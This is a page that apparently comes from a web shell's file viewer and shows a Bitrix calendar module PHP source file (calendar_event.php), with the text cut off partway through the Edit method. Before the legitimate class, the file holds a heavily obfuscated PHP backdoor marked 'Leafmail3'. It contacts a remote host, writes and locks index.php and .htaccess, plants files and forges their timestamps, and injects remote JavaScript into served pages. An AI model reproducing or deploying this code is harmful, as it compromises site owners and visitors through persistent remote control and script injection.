Your IP : 18.118.161.96


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/calendar/classes/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/calendar/classes/general/calendar_event.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/calendar/classes/general/calendar.php");

use \Bitrix\Main\Loader;
use \Bitrix\Disk\Uf\FileUserType;
use \Bitrix\Disk\AttachedObject;
use \Bitrix\Main\Localization\Loc;

class CCalendarEvent
{
	public static $eventUFDescriptions;
	public static $TextParser;
	private static $fields = array(), $lastAttendeesList = array();

	public static function GetLastAttendees()
	{
		$res = array();
		if (isset(self::$lastAttendeesList) && is_array(self::$lastAttendeesList))
		{
			foreach(self::$lastAttendeesList as $id => $attendees)
			{
				$res[$id] = array();
				foreach($attendees as $user)
				{
					$name = trim($user["USER_NAME"]);

					$type = (intVal($user["USER_ID"]) > 0) ? "int" : "ext";
					if ($type == "int")
					{
						$user["ID"] = intVal($user["USER_ID"]);
						$name = CCalendar::GetUserName($user);
					}

					$res[$id][] = array(
						"type" => $type,
						"id" => intVal($user["USER_ID"]),
						"name" => $name,
						"email" => trim($user["USER_EMAIL"]), // For ext only
						"photo" => $user["PERSONAL_PHOTO"],
						"status" => trim($user["STATUS"]),
						"desc" => trim($user["DESCRIPTION"]),
						"color" => trim($user["COLOR"]),
						"text_color" => trim($user["TEXT_COLOR"]),
						"accessibility" => trim($user["ACCESSIBILITY"])
					);
				}
			}
		}
		return $res;
	}

	public static function SetLastAttendees($attendees)
	{
		self::$lastAttendeesList = $attendees;
	}

	public static function CheckRRULE($RRule = array())
	{
		if ($RRule['FREQ'] != 'WEEKLY' && isset($RRule['BYDAY']))
			unset($RRule['BYDAY']);
		return $RRule;
	}

	public static function Edit($params = array())
	{
		global $DB, $CACHE_MANAGER;
		$entryFields = $params['arFields'];

		$arAffectedSections = array();
		$significantChanges = isset($params['significantChanges']) ? $params['significantChanges'] : false;
		$sendInvitations = $params['sendInvitations'] !== false;
		$sendEditNotification = $params['sendEditNotification'] !== false;

		$result = false;
		$attendeesCodes = array();
		// Get current user id
		$userId = (isset($params['userId']) && intVal($params['userId']) > 0) ? intVal($params['userId']) : CCalendar::GetCurUserId();
		if(!$userId && isset($entryFields['CREATED_BY']))
		{
			$userId = intVal($entryFields['CREATED_BY']);
		}
		$path = !empty($params['path']) ? $params['path'] : CCalendar::GetPath($entryFields['CAL_TYPE'], $entryFields['OWNER_ID'], true);

		$isNewEvent = !isset($entryFields['ID']) || $entryFields['ID'] <= 0;
		$entryFields['TIMESTAMP_X'] = CCalendar::Date(mktime(), true, false);
		if ($isNewEvent)
		{
			if (!isset($entryFields['CREATED_BY']))
			{
				$entryFields['CREATED_BY'] = ($entryFields['IS_MEETING'] && $entryFields['CAL_TYPE'] == 'user' && $entryFields['OWNER_ID']) ? $entryFields['OWNER_ID'] : $userId;
			}

			if (!isset($entryFields['DATE_CREATE']))
			{
				$entryFields['DATE_CREATE'] = $entryFields['TIMESTAMP_X'];
			}
		}

		if (!isset($entryFields['OWNER_ID']) || !$entryFields['OWNER_ID'])
		{
			$entryFields['OWNER_ID'] = 0;
		}

		// Current event
		$currentEvent = array();

		if ($entryFields['IS_MEETING'] && !isset($entryFields['ATTENDEES']) && isset($entryFields['ATTENDEES_CODES']))
		{
			$entryFields['ATTENDEES'] = \CCalendar::getDestinationUsers($entryFields['ATTENDEES_CODES']);
		}

		if (!$isNewEvent)
		{
			$currentEvent = isset($params['currentEvent']) ? $params['currentEvent'] : CCalendarEvent::GetById($entryFields['ID']);

			if(empty($entryFields['LOCATION']['OLD']))
			{
				if(!isset($entryFields['LOCATION']))
				{
					$entryFields['LOCATION'] = array('NEW' => '');
				}
				$entryFields['LOCATION']['OLD'] = $currentEvent['LOCATION'];
			}

			if($currentEvent['IS_MEETING'] && !isset($entryFields['ATTENDEES']) && $currentEvent['PARENT_ID'] == $currentEvent['ID'] && $entryFields['IS_MEETING'])
			{
				$entryFields['ATTENDEES'] = array();
				$attendees = self::GetAttendees($currentEvent['PARENT_ID']);
				if($attendees[$currentEvent['PARENT_ID']])
				{
					for($i = 0, $l = count($attendees[$currentEvent['PARENT_ID']]); $i < $l; $i++)
					{
						$entryFields['ATTENDEES'][] = $attendees[$currentEvent['PARENT_ID']][$i]['USER_ID'];
					}
				}
			}

			if($currentEvent['PARENT_ID'])
			{
				$entryFields['PARENT_ID'] = $currentEvent['PARENT_ID'];
			}
		}


		if ($userId > 0 && self::CheckFields($entryFields, $currentEvent, $userId))
		{
//			if (!$isNewEvent && !isset($params['significantChanges']) && $entryFields)
//			{
//				//$significantChanges = self::CheckSignificantChangesFields($entryFields, $currentEvent);
//			}

			if ($entryFields['CAL_TYPE'] == 'user')
			{
				$CACHE_MANAGER->ClearByTag('calendar_user_'.$entryFields['OWNER_ID']);
			}
			$attendees = is_array($entryFields['ATTENDEES']) ? $entryFields['ATTENDEES'] : array();

			if (!$entryFields['PARENT_ID'] || $entryFields['PARENT_ID'] == $entryFields['ID'])
			{
				$fromTs = $entryFields['DATE_FROM_TS_UTC'];
				$toTs = $entryFields['DATE_TO_TS_UTC'];
				if ($entryFields['DT_SKIP_TIME'] == "Y")
				{
					//$toTs += CCalendar::GetDayLen();
				}
				else
				{
					$fromTs += date('Z', $entryFields['DATE_FROM_TS_UTC']);
					$toTs += date('Z', $entryFields['DATE_TO_TS_UTC']);
				}

				$entryFields['LOCATION'] = CCalendar::SetLocation(
					$entryFields['LOCATION']['OLD'],
					$entryFields['LOCATION']['NEW'],
					array(
						// UTC timestamp + date('Z', $timestamp) /*offset of the server*/
						'dateFrom' => CCalendar::Date($fromTs, $entryFields['DT_SKIP_TIME'] !== "Y"),
						'dateTo' => CCalendar::Date($toTs, $entryFields['DT_SKIP_TIME'] !== "Y"),
						'parentParams' => $params,
